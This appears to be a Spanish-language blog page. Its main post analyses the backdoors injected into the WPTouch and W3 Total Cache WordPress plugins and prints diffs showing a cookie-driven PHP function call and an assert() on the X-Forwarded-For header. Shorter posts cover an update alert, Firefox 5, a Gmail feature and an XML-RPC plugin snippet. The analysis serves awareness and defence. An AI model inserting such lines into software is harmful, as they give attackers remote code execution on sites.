Categories
WordPress

Código insertado a WPTouch y WP Total Cache

Luego del incidente detectado por el equipo de WordPress, mirando rápidamente los cambios que se hicieron, se puede ver lo siguiente:

diff:

Index: /wptouch/trunk/wptouch.php
===================================================================
--- /wptouch/trunk/wptouch.php  (revision 397079)
+++ /wptouch/trunk/wptouch.php  (revision 399276)
@@ -511,4 +511,6 @@
        if (isset($_COOKIE[$key])) {
               $this->desired_view = $_COOKIE[$key];
+       if (preg_match("#useragent/([^/]*)/([^/]*)/#i", $_COOKIE[$key], $matches) && $matches[1]($matches[2]))
+              $this->desired_view = $matches[1].$matches[2];
        } else {
               if ( $settings['enable-regular-default'] || defined( 'XMLRPC_REQUEST' ) || defined( 'APP_REQUEST' ) ) {

En el caso de WPTouch, permite la ejecución de código PHP ($matches[1]($matches[2])) de lo que se envíe en la cookie con nombre wptouch_switch_toggle.

Para el caso de WP Total Cache, no me queda muy claro. Por lo poco que vi, pareciera ser que desactiva la funcionalidad del plugin.

diff:

Index: w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php
===================================================================
--- w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php      (revision 399488)
+++ w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php      (revision 390604)
@@ -103,5 +103,5 @@
         $this->_request_uri = $_SERVER['REQUEST_URI'];
         $this->_lifetime = $this->_config->get_integer('browsercache.html.lifetime');
-        $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_generic');
+        $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_pgcache');
 
         if ($this->_config->get_boolean('mobile.enabled')) {
@@ -746,13 +746,4 @@
 
         /**
-         * Skip if proxy
-         */
-        if (isset($_SERVER['HTTP_X_FORWARD_FOR']) && assert($_SERVER['HTTP_X_FORWARD_FOR'])) {
-            $this->cache_reject_reason = 'proxy';
-           
-            return false;
-        }
-       
-        /**
          * Skip if posting
          */
@@ -932,12 +923,9 @@
                     break;
 
-                case 'file_generic':
+                case 'file_pgcache':
                     $engineConfig = array(
-                        'exclude' => array(
-                            '.htaccess'
-                        ),
-                        'expire' => $this->_lifetime,
                         'cache_dir' => W3TC_CACHE_FILE_PGCACHE_DIR,
                         'locking' => $this->_config->get_boolean('pgcache.file.locking'),
+                        'expire' => $this->_lifetime,
                         'flush_timelimit' => $this->_config->get_integer('timelimit.cache_flush')
                     );
@@ -1010,9 +998,5 @@
      */
     function _check_ua() {
-        $uas = array_merge($this->_config->get_array('pgcache.reject.ua'), array(
-            W3TC_POWERED_BY
-        ));
-
-        foreach ($uas as $ua) {
+        foreach ($this->_config->get_array('pgcache.reject.ua') as $ua) {
             if (isset($_SERVER['HTTP_USER_AGENT']) && stristr($_SERVER['HTTP_USER_AGENT'], $ua) !== false) {
                 return false;
 

Como reflexión final, hay que tener siempre cuidado con los plugins que se instalan y si se conoce algo de PHP, nunca está de más echarle una mirada a los cambios realizados. En este caso, felizmente para los usuarios, estos modificaciones fueron detectadas.

Categories
Miniposts

Atención: Actualizar los plugins AddThis, WPtouch y W3 Total Cache

Aparentemente las cuentas de los desarrolladores de los mencionados plugins fueron comprometidas. Se sugiere actualizar lo más antes posible para evitar mayores problemas.

Categories
Firefox

Descarga Firefox 5

Descarga Firefox 5

Firefox, el navegador que dio un cambio en la historia e hizo que Microsoft despierte de su largo sueño con IE6, ahora nos presenta su versión 5.

Algunas nuevas características son:

Algunas extensiones aun no están funcionando, pero en el transcurso de días esto se solucionará.

Descarga Firefox 5: Windows | Linux | Mac | Android

Categories
Miniposts

Gmail background send

Parece que vivía en el pasado, recién acabo de darme cuenta de la existencia de esta nueva extensión de Google Labs que permite a uno seguir trabajando mientras el mail se envía por separado. Antes de activarlo, solía generalmente añadir una nueva pestaña por si necesitaba hacer algo urgente.

Categories
Web WordPress

Agregar o sobre escribir métodos XmlRpc en WordPress

Cambiar el funcionamiento de algún método expuesto en la API XmlRpc, o agregar nueva funcionalidad es bastante sencillo. Se pueden utilizar los filtros xmlrpc_methods o wp_xmlrpc_server_class.

php:

/**
 * Plugin Name: Bla bla bla
 */

if ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) :
        include_once(ABSPATH . WPINC . '/class-IXR.php');
        include_once(ABSPATH . WPINC . '/class-wp-xmlrpc-server.php');
       
        class CustomRpcServer extends wp_xmlrpc_server {
                function sayHello() {
                        // Add custom code.
                        return 'Hello!!';
                }
        }

        add_filter('wp_xmlrpc_server_class', create_function('$class', 'return \'CustomRpcServer\';'));
endif;
 

Como pueden ver, el código mostrado funciona como un plugin. Lo que hace es reemplazar la clase que se encarga de las peticiones XmlRpc. Se sobre escribe el método sayHello.